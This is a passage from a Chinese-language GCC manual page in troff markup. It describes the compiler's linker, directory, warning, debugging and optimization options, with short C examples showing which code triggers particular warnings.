\&\|' 选项 之前 处理. .TP .BI \-U macro 取消 宏 \c .I macro\c \&. `\|\c .B \-U\c \&\|' 选项 在 所有的 `\|\c .B \-D\c \&\|' 选项 之后 处理, 但是 优先于 任何 `\|\c .B \-include\c \&\|' 或 `\|\c .B \-imacros\c \&\|' 选项. .TP .B \-dM 告诉 预处理器 输出 有效的 宏定义 列表 (预处理 结束时 仍然 有效的 宏定义). 该选项 需 结合 `\|\c .B \-E\c \&\|' 选项 使用. .TP .B \-dD 告诉 预处理器 把 所有的 宏定义 传递到 输出端, 按照 出现的 顺序 显示. .TP .B \-dN 和 `\|\c .B \-dD\c \&\|'选项 类似, 但是 忽略 宏的 参量 或 内容. 只在 输出端 显示 `\|\c .B #define \c .I name\c \&\c. .SH "汇编器选项 (ASSEMBLER OPTION)" .TP .BI "\-Wa," "option" 把 选项 \c .I option\c \& 传递给 汇编器. 如果 \c .I option 含有 逗号, 就在 逗号 处 分割成 多个 选项. .SH "连接器选项 (LINKER OPTION)" 下面的 选项 用于 编译器 连接 目标文件, 输出 可执行文件 的 时候. 如果 编译器 不进行 连接, 他们 就 毫无意义. .TP .I object-file-name 如果 某些文件 没有 特别明确的 后缀 a special recognized suffix, GCC 就 认为 他们 是 目标文件 或 库文件. (根据 文件内容, 连接器 能够 区分 目标文件 和 库文件). 如果 GCC 执行 连接 操作, 这些 目标文件 将 成为 连接器 的 输入文件. .TP .BI \-l library 连接 名为 \c .I library\c \& 的 库文件. .Sp 连接器 在 标准搜索目录 中 寻找 这个 库文件, 库文件 的 真正 名字 是 `\|\c .B lib\c .I library\c \&.a\c \&\|'. 连接器 会 当做 文件名 得到 准确 说明 一样 引用 这个文件. .Sp 搜索目录 除了 一些 系统标准目录 外, 还包括 用户 以 `\|\c .B \-L\c \&\|' 选项 指定 的 路径. .Sp 一般说来 用 这个方法 找到的 文件 是 库文件\(em\&即由 目标文件 组成的 归档文件 (archive file). 连接器 处理 归档文件 的 方法 是: 扫描 归档文件, 寻找 某些 成员, 这些 成员 的 符号 目前 已 被引用, 不过 还没有 被定义. 但是, 如果 连接器 找到 普通的 目标文件, 而不是 库文件, 就把 这个 目标文件 按 平常方式 连接 进来. 指定 `\|\c .B \-l\c \&\|' 选项 和 指定 文件名 的 唯一 区别 是, `\|\c .B \-l\c 选项 用 `\|\c .B lib\c \&\|' 和 `\|\c .B .a\c \&\|' 把 .I library 包裹 起来, 而且 搜索 一些 目录. .TP .B \-lobjc 这个 .B \-l 选项 的 特殊形式 用于 连接 Objective C 程序. .TP .B \-nostartfiles 不连接 系统 标准启动文件, 而 标准库文件 仍然 正常 使用. .TP .B \-nostdlib 不连接 系统 标准启动文件 和 标准库文件. 只把 指定的 文件 传递给 连接器. .TP .B \-static 在 支持 动态连接 (dynamic linking) 的 系统 上, 阻止 连接 共享库. 该选项 在 其他系统上 无效. .TP .B \-shared 生成 一个 共享目标文件, 他 可以 和 其他 目标文件 连接 产生 可执行文件. 只有 部分 系统 支持 该选项. .TP .B \-symbolic 建立 共享目标文件 的 时候, 把 引用 绑定到 全局符号上. 对 所有 无法解析的 引用 作出 警告 (除非 用 连接编辑选项 `\|\c .B \-Xlinker \-z \-Xlinker defs\c \&\|' 取代). 只有 部分 系统 支持 该选项. .TP .BI "\-Xlinker " "option" 把 选项 \c .I option 传递给 连接器. 可以 用 他 传递 系统 特定的 连接 选项, GNU CC 无法 识别 这些 选项. .Sp 如果 需要 传递 携带 参数 的 选项, 你 必须 使用 两次 `\|\c .B \-Xlinker\c \&\|', 一次 传递 选项, 另一次 传递 他的 参数. 例如, 如果 传递 `\|\c .B \-assert definitions\c \&\|', 你 必须 写成 `\|\c .B \-Xlinker \-assert \-Xlinker definitions\c \&\|', 而不能 写成 `\|\c .B \-Xlinker "\-assert definitions"\c \&\|', 因为 这样 会把 整个 字符串 当做 一个 参数 传递, 显然 这 不是 连接器 期待的. .TP .BI "\-Wl," "option" 把 选项 \c .I option\c \& 传递给 连接器. 如果 \c .I option\c \& 中 含有 逗号, 就在 逗号 处 分割成 多个 选项. .TP .BI "\-u " "symbol" 使 连接器 认为 取消了 .I symbol 的 符号定义, 从而 连接 库模块 以 取得 定义. 你 可以 使用 多个 `\|\c .B \-u\c \&\|' 选项, 各自 跟上 不同的 符号, 使得 连接器 调入 附加的 库模块. .SH "目录选项 (DIRECTORY OPTION) 下列 选项 指定 搜索路径, 用于 查找 头文件, 库文件, 或 编译器 的 某些成员: .TP .BI "\-I" "dir" 在 头文件 的 搜索路径 列表 中 添加 .I dir 目录. .TP .B \-I\- 任何 在 `\|\c .B \-I\-\c \&\|' 前面 用 `\|\c .B \-I\c \&\|' 选项 指定 的 搜索路径 只适用于 `\|\c .B #include "\c .I file\c .B \&"\c \&\|' 这种 情况; 他们 不能 用来 搜索 `\|\c .B #include <\c .I file\c \&>\c \&\|' 包含 的 头文件. .Sp 如果 用 `\|\c .B \-I\c \&\|' 选项 指定的 搜索路径 位于 `\|\c .B \-I\-\c \&\|' 选项 后面, 就可以 在 这些 路径 中 搜索 所有的 `\|\c .B #include\c \&\|' 指令. (一般说来 .B \-I 选项 就是 这么 用的.) .Sp 还有, `\|\c .B \-I\-\c \&\|' 选项 能够 阻止 当前目录 (存放 当前 输入文件 的 地方) 成为 搜索 `\|\c .B #include "\c .I file\c .B \&"\c \&\|' 的 第一选择. 没有 办法 克服 `\|\c .B \-I\-\c \&\|' 选项 的 这个效应. 你 可以 指定 `\|\c .B \-I.\c \&\|' 搜索 那个目录, 它 在 调用 编译器 时 是 当前目录. 这 和 预处理器 的 默认行为 不完全 一样, 但是 结果 通常 令人满意. .Sp `\|\c .B \-I\-\c \&\|' 不影响 使用 系统标准目录, 因此, `\|\c .B \-I\-\c \&\|' 和 `\|\c .B \-nostdinc\c \&\|' 是 不同的 选项. .TP .BI "\-L" "dir" 在 `\|\c .B \-l\c \&\|' 选项 的 搜索路径 列表 中 添加 \c .I dir\c \& 目录. .TP .BI "\-B" "prefix" 这个选项 指出 在何处 寻找 可执行文件, 库文件, 以及 编译器 自己 的 数据文件. .Sp 编译器 驱动程序 需要 执行 某些 下面的 子程序: `\|\c .B cpp\c \&\|', `\|\c .B cc1\c \&\|' (或 C++ 的 `\|\c .B cc1plus\c \&\|'), `\|\c .B as\c \&\|' 和 `\|\c .B ld\c \&\|'. 他 把 .I prefix\c \& 当作 欲执行的 程序 的 前缀, 既可以 包括 也可以 不包括 `\|\c .I machine\c .B /\c .I version\c .B /\c \&\|'. .Sp 对于 要运行的 子程序, 编译器 驱动程序 首先 试着 加上 `\|\c .B \-B\c \&\|' 前缀 (如果存在). 如果 没有 找到 文件, 或 没有 指定 `\|\c .B \-B\c \&\|' 选项, 编译器 接着 会 试验 两个 标准 前缀 `\|\c .B /usr/lib/gcc/\c \&\|' 和 `\|\c .B /usr/local/lib/gcc-lib/\c \&\|'. 如果 仍然 没能够 找到 所需文件, 编译器 就在 `\|\c .B PATH\c \&\|' 环境变量 指定的 路径 中 寻找 没加 任何 前缀 的 文件名. .Sp 如果 有需要, 运行时 (run-time) 支持文件 `\|\c .B libgcc.a\c \&\|' 也在 `\|\c .B \-B\c \&\|' 前缀 的 搜索 范围 之内. 如果 这里 没有 找到, 就在 上面 提到的 两个 标准 前缀 中 寻找, 仅此而已. 如果 上述 方法 没有 找到 这个 文件, 就 不连接 他了. 多数 情况 的 多数 机器 上, `\|\c .B libgcc.a\c \&\|' 并非 必不可少. .Sp 你 可以 通过 环境变量 .B GCC_EXEC_PREFIX\c \& 获得 近似的 效果; 如果 定义了 这个 变量, 其值 就和 上面 说的 一样 用做 前缀. 如果 同时 指定了 `\|\c .B \-B\c \&\|' 选项 和 .B GCC_EXEC_PREFIX\c \& 变量, 编译器 首先 使用 `\|\c .B \-B\c \&\|' 选项, 然后 才尝试 环境变量值. .SH "警告选项 (WARNING OPTION)" 警告 是 针对 程序结构 的 诊断信息, 程序 不一定 有错误, 而是 存在 风险, 或者 可能 存在 错误. .Sp 下列 选项 控制 GNU CC 产生 的 警告 的 数量 和 类型: .TP .B \-fsyntax\-only 检查 程序 中 的 语法错误, 但是 不产生 输出信息. .TP .B \-w 禁止 所有 警告信息. .TP .B \-Wno\-import 禁止 所有 关于 .BR #import 的 警告信息. .TP .B \-pedantic 打开 完全服从 ANSI C 标准 所需的 全部 警告诊断; 拒绝接受 采用了 被禁止的 语法扩展 的 程序. .Sp 无论 有没有 这个 选项, 符合 ANSI C 标准 的 程序 应该 能够 被 正确 编译 (虽然 极少数 程序 需要 `\|\c .B \-ansi\c \&\|' 选项). 然而, 如果 没有 这个 选项, 某些 GNU 扩展 和 传统 C 特性 也 得到 支持. 使用 这个 选项 可以 拒绝 这些 程序. 没有 理由 使用 这个 选项, 他 存在 只是 为了 满足 一些 书呆子 (pedant). .Sp 对于 替选关键字 (他们 以 `\|\c .B _\|_\c \&\|' 开始 和 结束) `\|\c .B \-pedantic\c \&\|' 不会 产生 警告信息. Pedantic 也 不警告 跟在 .B _\|_extension_\|_\c \& 后面 的 表达式. 不过 只应该 在 系统头文件 中 使用 这种 转义措施, 应用程序 最好 避免. .TP .B \-pedantic\-errors 该 选项 和 `\|\c .B \-pedantic\c \&\|' 类似, 但是 显示 错误 而不是 警告. .TP .B \-W 对 下列 事件 显示 额外的 警告信息: .TP \ \ \ \(bu 非易变自动变量 (nonvolatile automatic variable) 可能 在 调用 .B longjmp\c \& 时 发生 改变. 这些 警告 仅在 优化编译 时 发生. .Sp 编译器 只知道 对 \c .B setjmp\c \& 的 调用, 他 不可能 知道 会 在哪里 调用 \c .B longjmp\c \&, 事实上 一个 信号处理例程 可以 在 程序 的 任何 地点 调用 他. 其结果是, 即使 程序 没有 问题, 你 也可能会 得到 警告, 因为 无法 在 可能 出现 问题 的 地方 调用 \c .B longjmp\c \&. .TP \ \ \ \(bu 既可以 返回 值, 也可以 不返回 值 的 函数. (缺少 结尾 的 函数体 被看作 不返回 函数值) 例如, 下面的 函数 将 导致 这种 警告: .Sp .nf foo (a) { if (a > 0) return a; } .Sp .fi 由于 GNU CC 不知道 某些 函数 永不返回 (含有 \c .B abort\c \& 和 \c .B longjmp\c \&), 因此 有可能 出现 虚假 警告. .TP \ \ \ \(bu 表达式语句 或 逗号表达式 的 左侧 没有 产生 作用 (side effect). 如果要 防止 这种 警告, 应该把 未使用的 表达式 强制转换 为 void 类型. 例如, 这样的 表达式 `\|\c .B x[i,j]\c \&\|' 会 导致 警告, 而 `\|\c .B x[(void)i,j]\c \&\|' 就 不会. .TP \ \ \ \(bu 无符号数 用 `\|\c .B >\c \&\|' 或 `\|\c .B <=\c \&\|' 和 零 做比较. .PP .TP .B \-Wimplicit-int 警告 没有 指定 类型 的 声明. .TP .B \-Wimplicit-function-declaration 警告 在 声明 之前 就 使用 的 函数. .TP .B \-Wimplicit 同 -Wimplicit-int 和 -Wimplicit-function-declaration. .TP .B \-Wmain 如果 把 .B main 函数 声明 或 定义 成 奇怪 的 类型, 编译器 就 发出 警告. 典型情况下, 这个 函数 用于 外部连接, 返回 .B int\c \& 数值, 不需要 参数, 或 指定 两个 参数. .TP .B \-Wreturn\-type 如果 函数 定义了 返回类型, 而 默认 类型 是 \c .B int\c \& 型, 编译器 就 发出 警告. 同时 警告 那些 不带 返回值 的 \c .B return\c \& 语句, 如果 他们 所属的 函数 并非 \c .B void\c \& 类型. .TP .B \-Wunused 如果 某个 局部变量 除了 声明 就 没再 使用, 或者 声明了 静态函数 但是 没有 定义, 或者 某条 语句 的 运算结果 显然 没有 使用, 编译器 就 发出 警告. .TP .B \-Wswitch 如果 某条 \c .B switch\c \& 语句 的 参数 属于 枚举类型, 但是 没有 对应的 \c .B case\c \& 语句 使用 枚举元素, 编译器 就 发出 警告. ( \c .B default\c \& 语句 的 出现 能够 防止 这个 警告.) 超出 枚举 范围 的 \c .B case\c \& 语句 同样 会 导致 这个 警告. .TP .B \-Wcomment 如果 注释起始序列 `\|\c .B /\(**\c \&\|' 出现在 注释 中, 编译器 就 发出 警告. .TP .B \-Wtrigraphs 警告 任何 出现的 trigraph (假设 允许 使用 他们). .TP .B \-Wformat 检查 对 \c .B printf\c \& 和 \c .B scanf\c \& 等 函数 的 调用, 确认 各个 参数 类型 和 格式串 中的 一致. .TP .B \-Wchar\-subscripts 警告 类型 是 .BR char 的 数组 下标. 这是 常见 错误, 程序员 经常 忘记 在 某些 机器 上 char 有 符号. .TP .B \-Wuninitialized 在 初始化 之前 就 使用 自动变量. .Sp 这些警告 只可能 做 优化编译 时 出现, 因为 他们 需要 数据流信息, 只有 做 优化 的 时候 才 估算 数据流信息. 如果 不指定 `\|\c .B \-O\c \&\|' 选项, 就不会 出现 这些警告. .Sp 这些警告 仅针对 等候 分配 寄存器 的 变量. 因此 不会 发生在 声明为 \c .B volatile\c \& 的 变量 上面, 不会 发生在 已经 取得 地址 的 变量, 或 长度 不等于 1, 2, 4, 8 字节 的 变量. 同样 也不会 发生在 结构, 联合 或 数组 上面, 即使 他们 在 寄存器 中. .Sp 注意, 如果 某个变量 只 计算了 一个 从未使用过 的 值, 这里 可能 不会 警告. 因为 在 显示 警告 之前, 这样 的 计算 已经 被 数据流分析 删除 了. .Sp 这些警告 作为 可选项 是因为 GNU CC 还没有 智能到 判别 所有的 情况, 知道 有些 看上去 错误 的 代码 其实 是 正确的. 下面 是 一个 这样的 例子: .Sp .nf { int x; switch (y) { case 1: x = 1; break; case 2: x = 4; break; case 3: x = 5; } foo (x); } .Sp .fi 如果 \c .B y\c \& 始终是 1, 2 或 3, 那么 \c .B x\c \& 总会被 初始化, 但是 GNU CC 不知道 这一点. 下面 是 另一个 普遍案例: .Sp .nf { int save_y; if (change_y) save_y = y, y = new_y; .\|.\|. if (change_y) y = save_y; } .Sp .fi 这里 没有 错误, 因为 只有 设置了 \c .B save_y\c \& 才 使用 他. .Sp 把 所有 不返回 的 函数 定义为 .B volatile\c \& 可以 避免 某些 似是而非的 警告. .TP .B \-Wparentheses 在 某些 情况 下 如果 忽略了 括号, 编译器 就 发出 警告. .TP .B \-Wtemplate\-debugging 当 在 C++ 程序 中 使用 template 的 时候, 如果 调试 (debugging) 没有 完全 生效, 编译器 就 发出 警告. (仅用于 C++). .TP .B \-Wall 结合 所有 上述 的 `\|\c .B \-W\c \&\|' 选项. 通常 我们 建议 避免 这些 被警告的 用法,我们 相信, 恰当 结合 宏 的 使用 能够 轻易 避免 这些 用法。 .PP 剩下的 `\|\c .B \-W.\|.\|.\c \&\|' 选项 不包括 在 `\|\c .B \-Wall\c \&\|' 中, 因为 我们 认为 在 必要情况 下, 这些 被 编译器 警告 的 程序结构, 可以 合理的 用在 "干净的" 程序 中. .TP .B \-Wtraditional 如果 某些 程序结构 在 传统 C 中 的 表现 和 ANSI C 不同, 编译器 就 发出 警告. .TP \ \ \ \(bu 宏参 出现在 宏体 的 字符串常量 内部. 传统 C 会 替换 宏参, 而 ANSI C 则 视其为 常量 的 一部分. .TP \ \ \ \(bu 某个函数 在 块(block) 中 声明为 外部, 但在 块 结束后 才 调用. .TP \ \ \ \(bu .B switch\c \& 语句 的 操作数 类型 是 \c .B long\c \&. .PP .TP .B \-Wshadow 一旦 某个 局部变量 屏蔽了 另一个 局部变量, 编译器 就 发出 警告. .TP .BI "\-Wid\-clash\-" "len" 一旦 两个 确定的 标识符 具有 相同的 前 \c .I len 个 字符, 编译器 就 发出 警告. 他 可以 协助 你 开发 一些 将要在 某些 过时的, 危害大脑的 编译器 上 编译 的 程序. .TP .B \-Wpointer\-arith 任何 语句 如果 依赖于 函数类型 的 大小(size) 或者 \c .B void\c \& 类型 的 大小, 编译器 就 发出 警告. GNU C 为了 便于 计算 \c .B void \(**\c \& 指针 和 函数指针, 就把 这些 类型 的 大小 定义 为 1. .TP .B \-Wcast\-qual 一旦 某个 指针 强制类型转换 以便 移除 类型修饰符 时, 编译器 就 发出 警告. 例如, 如果 把 \c .B const char \(**\c \& 强制转换 为 普通的 \c .B char \(**\c \& 时, 警告 就会 出现. .TP .B \-Wcast\-align 一旦 某个 指针类型 强制转换 时, 导致 目标 所需的 地址对齐 (alignment) 增加, 编译器 就 发出 警告. 例如, 某些 机器 上 只能 在 2 或 4 字节 边界 上 访问 整数, 如果 在 这种 机型 上 把 \c .B char \(**\c \& 强制转换 成 \c .B int \(**\c \& 类型, 编译器 就 发出 警告. .TP .B \-Wwrite\-strings 规定 字符串常量 的 类型 是 \c .B const char[\c .I length\c .B ]\c \&, 因此, 把 这样的 地址 复制给 non-\c .B const\c \& \c .B char \(** 指针 将 产生 警告. 这些 警告 能够 帮助 你 在 编译期间 发现 企图 写入 字符串常量 的 代码, 但是 你 必须 非常 仔细 的 在 声明 和 原形 中 使用 \c .B const\c \&, 否则 他们 只能 带来 麻烦; 所以 我们 没有 让 `\|\c .B \-Wall\c \&\|' 提供 这些 警告. .TP .B \-Wconversion 如果 某函数原形 导致 的 类型转换 和 无函数原形 时的 类型转换 不同, 编译器 就 发出 警告. 这里 包括 定点数 和 浮点数 的 互相转换, 改变 定点数 的 宽度 或 符号, 除非 他们 和 缺省声明 (default promotion) 相同. .TP .B \-Waggregate\-return 如果 定义 或 调用 了 返回 结构 或 联合 的 函数, 编译器 就 发出 警告. (从 语言角度 你 可以 返回 一个 数组, 然而 同样 会 导致 警告.) .TP .B \-Wstrict\-prototypes 如果 函数 的 声明 或 定义 没有 指出 参数类型, 编译器 就 发出 警告. (如果 函数 的 前向引用说明 指出了 参数类型, 则 允许 后面 使用 旧式风格 的 函数定义, 而 不会产生 警告.) .TP .B \-Wmissing\-prototypes 如果 没有 预先 声明 函数原形 就 定义了 全局函数, 编译器 就 发出 警告. 即使 函数定义 自身 提供了 函数原形 也会 产生 这个 警告. 他 的 目的 是 检查 没有 在 头文件 中 声明 的 全局函数. .TP .B \-Wmissing\-declarations 如果 没有 预先 声明 就 定义了 全局函数, 编译器 就 发出 警告. 即使 函数定义 自身 提供了 函数原形 也会 产生 这个 警告. 这个选项 的 目的 是 检查 没有 在 头文件 中 声明 的 全局函数. .TP .B \-Wredundant-decls 如果 在 同一个 可见域 某定义 多次 声明, 编译器 就 发出 警告, 即使 这些 重复声明 有效 并且 毫无差别. .TP .B \-Wnested-externs 如果 某 \c .B extern\c \& 声明 出现在 函数 内部, 编译器 就 发出 警告. .TP .B \-Wenum\-clash 对于 不同 枚举类型 之间 的 转换 发出 警告 (仅适用于 C++). .TP .B \-Wlong\-long 如果 使用了 .B long long \c 类型 就 发出 警告. 该 警告 是 缺省项. 使用 `\|\c .B \-Wno\-long\-long\c \&\|' 选项 能够 防止 这个 警告. `\|\c .B \-Wlong\-long\c \&\|' 和 `\|\c .B \-Wno\-long\-long\c \&\|' 仅 在 `\|\c .B \-pedantic\c \&\|' 之下 才起作用. .TP .B \-Woverloaded\-virtual (仅适用于 C++.) 在继承类中, 虚函数 的 定义 必须 匹配 虚函数 在 基类 中 声明 的 类型特征 (type signature). 当 继承类 声明了 某个函数, 它 可能 是个 错误的 尝试 企图 定义一个 虚函数, 使用 这个 选项 能够 产生 警告: 就是说, 当 某个函数 和 基类 中的 虚函数 同名, 但是 类型特征 不符合 基类 的 任何 虚函数, 编译器 将发出 警告. .TP .B \-Winline 如果 某函数 不能 内嵌(inline), 无论 是 声明为 inline 或者是 指定了 .B \-finline\-functions 选项, 编译器 都将 发出 警告. .TP .B \-Werror 视 警告 为 错误; 出现 任何 警告 即 放弃 编译. .SH "调试选项 (DEBUGGING OPTION)" GNU CC 拥有 许多 特别选项, 既可以 调试 用户的 程序, 也可以 对 GCC 排错: .TP .B \-g 以 操作系统 的 本地格式 (stabs, COFF, XCOFF, 或 DWARF). 产生 调试信息. GDB 能够 使用 这些 调试信息. .Sp 在 大多数 使用 stabs 格式 的 系统 上, `\|\c .B \-g\c \&\|' 选项 启动 只有 GDB 才使用 的 额外调试信息; 这些信息 使 GDB 调试 效果 更好, 但是 有可能 导致 其他 调试器 崩溃, 或 拒绝 读入 程序. 如果 你 确定 要 控制 是否 生成 额外的 信息, 使用`\|\c .B \-gstabs+\c \&\|', `\|\c .B \-gstabs\c \&\|', `\|\c .B \-gxcoff+\c \&\|', `\|\c .B \-gxcoff\c \&\|', `\|\c .B \-gdwarf+\c \&\|', 或 `\|\c .B \-gdwarf\c \&\|' (见下文). .Sp 和 大多数 C 编译器 不同, GNU CC 允许 结合使用 `\|\c .B \-g\c \&\|' 和 `\|\c .B \-O\c \&\|' 选项. 优化的 代码 偶尔 制造 一些 惊异的 结果: 某些 声明过的 变量 根本 不存在; 控制流程 直接 跑到 没有 预料到的 地方; 某些语句 因为 计算结果 是 常量 或 已经确定 而 没有 执行; 某些语句 在 其他 地方 执行, 因为 他们 被移到 循环 外面 了. .Sp 然而 它 证明了 调试 优化的输出 是 可能的. 对 可能 含有 错误 的 程序 使用 优化器 是 合理的. .PP 如果 GNU CC 支持 输出 多种 调试信息, 下面的 选项 则 非常有用. .TP .B \-ggdb 以 本地格式 (如果支持) 输出 调试信息, 尽可能 包括 GDB 扩展. .TP .B \-gstabs 以 stabs 格式 (如果支持) 输出 调试信息, 不包括 GDB 扩展. 这是 大多数 BSD 系统 上 DBX 使用 的 格式. .TP .B \-gstabs+ 以 stabs 格式 (如果支持) 输出 调试信息, 使用 只有 GNU 调试器 (GDB) 理解的 GNU 扩展. 使用 这些扩展 有可能 导致 其他 调试器 崩溃 或 拒绝 读入 程序. .TP .B \-gcoff 以 COFF 格式 (如果支持) 输出 调试信息. 这是 在 System V 第四版 以前 的 大多数 System V 系统 上 SDB 使用 的 格式. .TP .B \-gxcoff 以 XCOFF 格式 (如果支持) 输出 调试信息. 这是 IBM RS/6000 系统 上 DBX 调试器 使用 的 格式. .TP .B \-gxcoff+ 以 XCOFF 格式 (如果支持) 输出 调试信息, 使用 只有 GNU 调试器 (GDB) 理解的 GNU 扩展. 使用 这些扩展 有可能 导致 其他 调试器 崩溃 或 拒绝 读入 程序. .TP .B \-gdwarf 以 DWARF 格式 (如果支持) 输出 调试信息. 这是 大多数 System V 第四版 系统 上 SDB 使用 的 格式. .TP .B \-gdwarf+ 以 DWARF 格式 (如果支持) 输出 调试信息, 使用 只有 GNU 调试器 (GDB) 理解的 GNU 扩展. 使用 这些扩展 有可能 导致 其他 调试器 崩溃 或 拒绝 读入 程序. .PP .BI "\-g" "level" .br .BI "\-ggdb" "level" .br .BI "\-gstabs" "level" .br .BI "\-gcoff" "level" .BI "\-gxcoff" "level" .TP .BI "\-gdwarf" "level" 请求 生成 调试信息, 同时 用 \c .I level\c \& 指出 需要 多少 信息. 默认的 level 值 是 2. .Sp Level 1 输出 最少量 的 信息, 仅够 在 不打算 调试 的 程序段 内 backtrace. 包括 函数 和 外部变量 的 描述, 但是 没有 局部变量 和 行号 信息. .Sp Level 3 包含 更多的 信息, 如 程序中出现 的 所有 宏定义. 当 使用 `\|\c .B \-g3\c \&\|' 选项 的 时候, 某些 调试器 支持 宏扩展. .TP .B \-p 产生 额外代码, 用于 输出 profile 信息, 供 分析程序 \c .B prof\c \& 使用. .TP .B \-pg 产生 额外代码, 用于 输出 profile 信息, 供 分析程序 \c .B gprof\c \& 使用. .TP .B \-a 产生 额外代码, 用于 输出 基本块 (basic block) 的 profile 信息, 它 记录 各个 基本块 的 执行 次数, 供 诸如 \c .B tcov\c \& 此类 的 程序 分析. 但是 注意, 这个 数据格式 并非 \c .B tcov\c \& 期待的. 最终 GNU \c .B gprof\c \& 将 处理 这些数据. .TP .B \-ax 产生 额外代码, 用于 从 'bb.in' 文件 读取 基本块 的 profile 参数, 把 profile 的 结果 写到 'bb.out' 文件. `bb.in' 包含 一张 函数 列表. 一旦 进入 列表 中的 某个 函数, profile 操作 就 开始, 离开 最外层 的 函数 后, profile 操作 就 结束. 以 `-' 为 前缀名 的 函数 排除在 profile 操作 之外. 如果 函数名 不是 唯一的, 它 可以 写成 `/path/filename.d:functionname' 来 澄清. `bb.out' 将 列出 一些 有效的 文件名. 这四个 函数名 具有 特殊含义: `__bb_jumps__' 导致 跳转 (jump) 频率 写进 `bb.out'. `__bb_trace__' 导致 基本块 序列 通过 管道 传到 `gzip', 输出 `bbtrace.gz' 文件. `__bb_hidecall__' 导致 从 跟踪 (trace) 中 排除 call 指令. `__bb_showret__' 导致 在 跟踪 中 包括 返回指令. .TP .BI "\-d" "letters" 编译 的 时候, 在 \c .I letters\c \& 指定 的 时刻 做 调试转储 (dump). 用于 调试 编译器. 大多数 转储 的 文件名 通过 源文件名 添加 字词 获得 (例如 `\|\c .B foo.c.rtl\c \&\|' 或 `\|\c .B foo.c.jump\c \&\|'). .TP .B \-dM 预处理 结束 的 时候 转储 所有的 宏定义, 不输出到 文件. .TP .B \-dN 预处理 结束 的 时候 转储 所有的 宏名. .TP .B \-dD 预处理 结束 的 时候 转储 所有的 宏定义, 同时 进行 正常 输出. .TP .B \-dy 语法分析 (parse) 的 时候 在 标准错误 转储 调试信息. .TP .B \-dr RTL 阶段 后 转储到 `\|\c .I file\c .B \&.rtl\c \&\|'. .TP .B \-dx 仅对 函数 生成 RTL, 而不是 编译. 通常 和 `\|\c .B r\c \&\|' 联用. .TP .B \-dj 第一次 跳转优化 后 转储到 `\|\c .I file\c .B \&.jump\c \&\|'. .TP .B \-ds CSE (包括 有时候 跟在 CSE 后面的 跳转优化) 后 转储到 `\|\c .I file\c .B \&.cse\c \&\|'. .TP .B \-dL 循环优化 后 转储到 `\|\c .I file\c .B \&.loop\c \&\|'. .TP .B \-dt 第二次 CSE 处理 (包括 有时候 跟在 CSE 后面的 跳转优化) 后 转储到 `\|\c .I file\c .B \&.cse2\c \&\|'. .TP .B \-df 流程分析 (flow analysis) 后 转储到 `\|\c .I file\c .B \&.flow\c \&\|'. .TP .B \-dc 指令组合 (instruction combination) 后 转储到 `\|\c .I file\c .B \&.combine\c \&\|'. .TP .B \-dS 第一次 指令安排 (instruction schedule) 后 转储到 `\|\c .I file\c .B \&.sched\c \&\|'. .TP .B \-dl 局部寄存器分配 后 转储到 `\|\c .I file\c .B \&.lreg\c \&\|'. .TP .B \-dg 全局寄存器分配 后 转储到 `\|\c .I file\c .B \&.greg\c \&\|'. .TP .B \-dR 第二次 指令安排 (instruction schedule) 后 转储到 `\|\c .I file\c .B \&.sched2\c \&\|'. .TP .B \-dJ 最后一次 跳转优化 后 转储到 `\|\c .I file\c .B \&.jump2\c \&\|'. .TP .B \-dd 推迟分支调度 (delayed branch scheduling) 后 转储到 `\|\c .I file\c .B \&.dbr\c \&\|'. .TP .B \-dk 寄存器\-堆栈转换 后 转储到 `\|\c .I file\c .B \&.stack\c \&\|'. .TP .B \-da 产生 以上 所有的 转储. .TP .B \-dm 运行结束后, 在 标准错误 显示 内存使用统计. .TP .B \-dp 在 汇编输出 加注 指明 使用了 哪些 模式 (pattern) 及其 替代模式. .TP .B \-fpretend\-float 交叉编译 的 时候, 假定 目标机 和 宿主机 使用 同样的 浮点格式. 它 导致 输出 错误的 浮点常数, 但是 在 目标机 上 运行 的 时候, 真实的 指令序列 有可能 和 GNU CC 希望 的 一样. .TP .B \-save\-temps 保存 那些 通常 是 \*(lq临时\*(rq 的 中间文件; 置于 当前目录 下, 并且 根据 源文件 命名. 因此, 用 `\|\c .B \-c \-save\-temps\c \&\|' 选项 编译 `\|\c .B foo.c \c \&\|' 会 生成 `\|\c .B foo.cpp\c \&\|' 和 `\|\c .B foo.s\c \&\|' 以及 `\|\c .B foo.o\c \&\|' 文件. .TP .BI "\-print\-file\-name=" "library" 显示 库文件 \|\c .nh .I library .hy \&\| 的 全路径名, 连接 时 会 使用 这个库 \(em\& 其他 什么事情 都不作. 根据 这个选项, GNU CC 既不编译, 也不连接, 仅仅 显示 文件名. .TP .B \-print\-libgcc\-file\-name 和 `\|\c .B \-print\-file\-name=libgcc.a\c \&\|' 一样. .TP .BI "\-print\-prog\-name=" "program" 类似于 `\|\c .B \-print\-file\-name\c \&\|', 但是 查找 程序 program 如 `\|\c .B cpp\c \&\|'. .SH "优化选项 (OPTIMIZATION OPTION)" 这些选项 控制 多种 优化措施: .TP .B \-O .TP .B \-O1 优化. 对于 大函数, 优化编译 占用 稍微多 的 时间 和 相当大 的 内存. .Sp 不使用 `\|\c .B \-O\c \&\|' 选项 时, 编译器 的 目标 是 减少 编译 的 开销, 使 编译结果 能够 调试. 语句 是 独立的: 如果 在 两条语句 之间 用 断点 中止 程序, 你 可以 对 任何 变量 重新 赋值, 或者 在 函数体 内 把 程序计数器 指到 其他语句, 以及 从 源程序 中 精确地 获取 你 期待 的 结果. .Sp 不使用 `\|\c .B \-O\c \&\|' 选项 时, 只有 声明了 \c .B register\c \& 的 变量 才 分配使用 寄存器. 编译结果 比 不用 `\|\c .B \-O\c \&\|' 选项 的 PCC 要 略逊一筹. .Sp 使用了 `\|\c .B \-O\c \&\|' 选项, 编译器 会试图 减少 目标码 的 大小 和 执行时间. .Sp 如果 指定了 `\|\c .B \-O\c \&\|' 选项, `\|\c .B \-fthread\-jumps\c \&\|' 和 `\|\c .B \-fdefer\-pop\c \&\|' 选项 将被 打开. 在 有 delay slot 的 机器 上, `\|\c .B \-fdelayed\-branch\c \&\|' 选项 将被 打开. 在 即使 没有 帧指针 (frame pointer) 也支持 调试 的 机器 上, `\|\c .B \-fomit\-frame\-pointer\c \&\|' 选项 将被 打开. 某些机器 上 还可能会 打开 其他选项. .TP .B \-O2 多优化一些. 除了 涉及 空间 和 速度 交换 的 优化选项, 执行 几乎 所有的 优化工作. 例如 不进行 循环展开 (loop unrolling) 和 函数内嵌 (inlining). 和 \c .B \-O\c \& 选项 比较, 这个选项 既增加了 编译时间, 也提高了 生成代码 的 运行效果. .TP .B \-O3 优化的更多. 除了 打开 .B \-O2 所做的 一切, 它 还 打开 